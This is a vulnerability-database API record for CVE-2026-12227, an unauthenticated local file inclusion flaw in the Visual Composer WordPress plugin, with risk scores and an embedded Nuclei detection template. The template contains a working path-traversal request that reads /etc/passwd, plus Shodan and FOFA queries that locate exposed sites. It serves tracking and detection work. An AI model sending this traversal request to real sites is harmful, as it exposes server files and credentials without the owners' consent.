{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-12227/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-12227/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-12227/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-12227/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-12227/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-12227/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-12227"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-12227"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02773,"kev":false,"percentile":0.86338},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-12227.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-12227\n\ninfo:\n  name: Visual Composer <= 45.16.0 - Unauthenticated LFI\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Visual Composer Website Builder for WordPress <= 45.16.0 contains a local file inclusion vulnerability caused by improper validation of the vcv-template parameter, letting unauthenticated attackers include and execute arbitrary files, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.\n  remediation: |\n    Update to the latest version beyond 45.16.0.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/visualcomposer/visual-composer-website-builder-45160-unauthenticated-local-file-inclusion-via-vcv-template-parameter\n    - https://github.com/murrez/CVE-2026-12227\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-12227\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-12227\n    epss-score: 0.02773\n    epss-percentile: 0.86376\n    cwe-id: CWE-98\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: developer\n    product: visualcomposer\n    shodan-query: http.html:\"/wp-content/plugins/visualcomposer/\"\n    fofa-query: body=\"/wp-content/plugins/visualcomposer/\"\n  tags: cve,cve2026,wordpress,wp-plugin,visualcomposer,lfi,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"visualcomposer\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /?vcv-template-type=vc&vcv-template=../../../../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220452c2f63e28b23c4c11888bbd7fd2e54610cdbef3b2e8046209369bd21ea74e2022038f3ad86eec228f4a684d9e5625c8d725672bbff072942502a9d08bec0511350:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-12227"}